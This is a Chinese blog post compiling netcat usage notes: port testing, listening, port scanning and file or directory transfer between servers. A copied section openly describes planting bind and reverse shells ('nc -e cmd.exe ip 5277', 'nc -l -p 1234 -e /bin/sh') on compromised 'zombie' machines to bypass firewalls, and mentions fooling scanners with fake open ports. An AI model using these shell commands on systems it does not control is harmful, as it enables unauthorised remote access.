[实践OK]nc测试网络基础运维是否真的开通了443端口,Linux Shell终端端口监听用NC监听端口/端口侦听传输拷贝文件,实现负载均衡测试之目的。

jackxiang 2010-9-29 16:38 | |
nc -z  -w 10  %IP%    %PORT%


拷贝文件看这儿:
[实践OK]linux nc命令传输文件(远程复制文件,传文件。),linux快速复制大量小文件方法 nc+tar。 https://jackxiang.com/post/9566/
================================================================================


一、先侦听端口:
nc -l 443
GET / HTTP/1.1
Host: 115.182.218.98:443
User-Agent: curl/7.49.1
Accept: */*

二、再在Windows下面用Git的bashshell下Curl访问:
curl "115.182.21*.108:443"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0
一步里面就用的GET头产生,nc就会立即退出。

=================================================


nc -lk 9503  

Linux可以使用nc命令来测试网络端口是否正常,类似于telnet命令,但也可以用nc命令来监听本地端口,支持TCP、UDP协议,当我们测试NTP服务网络策略是否正常时,可以使用到nc命令测试UDP 123端口。

使用案例如下:

1、测试TCP端口

nc -vz ip tcp-port

2、测试UDP

nc -uvz ip udp-port

3、临时监听TCP端口

nc -l port

4、永久监听TCP端口

nc -lk port

5、临时监听UDP

nc -lu port

6、永久监听UDP

nc -luk port

说明:默认监听的都是TCP端口
来自:https://baohua.me/operating-system/linux/linux-use-mc-command-permanent-listen-local-port/
  这个很简单,监听80端口如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!
nc -l -p 80 > e:/log.dat


l Linux本地机模式
  Linux应用程序可以通过远程加载在NC本地运行,服务器提供文件存储。随着知识产权保护的强化采用Linux应用软件将使软件成本大大降低。打印可由网络或本地支持。
下载地址:http://www.eee110.com/Software/Catalog139/169.html
命令1:监听命令
nc -l -p port
nc -l -p port > e:/log.dat
nc -l -v -p port
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
提示:一般大家都爱用-vv
nc -l -p 80
这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!
nc -l -p 80 > e:/log.dat
呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件
nc -l -v -p 80
和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。
nc -l -v -p 80
然后在浏览器中输入本机IP:127.0.0.1
同样,上边两个也是一样,大家自己试验一下吧
命令2:程序定向
nc -l -p port -t -e cmd.exe
本地机: nc -l -p port 或 nc -l -v -p port
目标机:nc -e cmd.exe ip port
参数解释:
-l、-p两个参数已经解释过了
-e;作用就是程序定向
-t:以telnet的形式来应答
例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。
呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)
nc -l -p 5277 (坚听本地5277端口)
同样也可以用
nc -l -v -p 5277
运行在本地
然后在远程机器上,想办法运行
nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!
呵,看看在本地机器上出现了什么?
这样就是反弹~~在本地机器上得到了一个SHELL
命令3:扫描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
参数解释:
-z:将输入输出关掉,在扫描时使用
nc -v ip port
这个命令是针对某一个端口进行扫描
例如:
nc -v ip 135
扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息
例如:80端口
我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息
nc -v -z ip port-port
这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围
例如:
nc -v -z ip 1-200
可以看到我机器上的1-200的TCP端口的开放情况
nc -v -z -u ip port-port
这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的
例如:
nc -v -z -u ip 1-200
这个命令就会扫1-200的UDP端口
命令4:传送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:/svr.exe
REMOTE MACHINE:nc -v -l -p port > y:/svr.exe
参数解释:
-n:指定数字的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 5277 > c:/pulist.exe
这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口
并把接受到的信息数据写到c:/pulist.exe中
这时候在本地机上运行
nc -v -n ip 5277 < e:/hack/pulist.exe
这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上
这样远程主机就会自动创建一个pulist.exe文件


nc是一个强大的网络工具,可以帮助你诊断,发现在linux下面使用网络时的一些问题.如:telnet,nmap

nc可以提供如下的网络功能:
1) 监听特定端口,这时候nc就可以作为一个服务器,但是我发现这样使用nc生成的服务器仅仅是一个echo服务器而已,没有其他更加强大的功能.
2) 连接特定端口,这时候nc就成为了一个客户端,同样的,也是一个简单的客户端,只能起echo的作用.
3) 扫描端口,这可以作为查询某个机器上是否开启了某个端口.

具体nc的使用可以man nc查看,这里仅就上面的几个功能进行说明.
1)使用-l参数监听端口,我的理解是listen的缩写,因此在指定-l参数和一个端口号的时候,nc开始监听这个端口的连接.

2) 使用ip地址(或者URL)以及服务器端口号变成一个客户端连接特定的服务器,如 nc 127.0.0.1 80就是连接本地localhost的80端口,在连接成功之后后面的输入就可以作为这个客户端向服务器发出的请求数据,可以是http请求等等.通常情况下,为了免去重复输入的麻烦,可以把输入写在一个文件里面,然后通过shell中重定向的功能向服务器发送请求,比如,假设http.txt文件中是已经写好的http请求, 可以采用命令 cat http.txt | nc 127.0.0.1 80发送这个请求.

3)使用-z参数扫描端口,后面紧跟的是ip地址(或者URL),以及一个端口号的范围,比如nc -z 127.0.0.1 20-40命令扫描localhost的20到40端口是否开启.

其它的使用,nc不仅可以建立TCP连接,还可以建立IPV6协议的连接(-6参数),或者IPV4协议(-4参数),或者UDP(-u参数).


nc 传输文件

既然nc 是TCP/IP 协议的网络连接,可以用nc 建立连接来传输文件
    传输文件方把文件内容写到nc 开启的端口listen中
    cat rpyc.py |nc -l 33333  
     接收文件方,nc 连接传输文件机器的listen 端口,并把文件接收写入指定文件中
    nc 10.246.46.15  33333 > rpyc.py  

suse enterprise 10 sp2是 nc6,不是nc。

远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,,用nc激活监听,
server2上运行: nc -l 1234 > text.txt
server1上运行: nc 192.168.10.11 1234 < text.txt
注:server2上的监听要先打开


==================运维小工具系列之nc、nmap=====================
先说nc吧,网络通信小工具,咳咳。也就是通过tcp、udp传输数据啦

案例1:传文件

直接打码吧:

服务器一执行:nc -l 1234 > file.txt

服务器二执行:nc 服务器一ip 1234 > file.txt



案例2:传目录

什么?又是传输。。看清楚好不,这是传目录

服务器一执行:nc -l 1234|tar xzvf -

服务器而执行:tar czvf - xx目录 |nc 服务器一ip 1234

调调的有木有,就空中是打了包的,落地自动解压。cool~

注意下里边的“-”就行



案例3:扫描端口

额,还是nmap出马吧,你用nc运维gg估计会笑话你了



案例4:反向shell

这个别乱玩,咳咳。

服务器一:nc -l -p 1234 -e /bin/sh

服务器二:nc 服务器一ip 1234

神奇的像ssh一般,关键是不用输入xxx,嘿嘿黑黑

作者:jackxiang@向东博客 专注WEB应用 构架之美 --- 构架之美,在于尽态极妍 | 应用之美,在于药到病除
地址:http://jackxiang.com/post/3564/
版权所有。转载时必须以链接形式注明作者和原始出处及本声明!


最后编辑: jackxiang 编辑于2018-2-6 14:29
评论列表
发表评论

昵称

网址

电邮

打开HTML 打开UBB 打开表情 隐藏 记住我 [登入] [注册]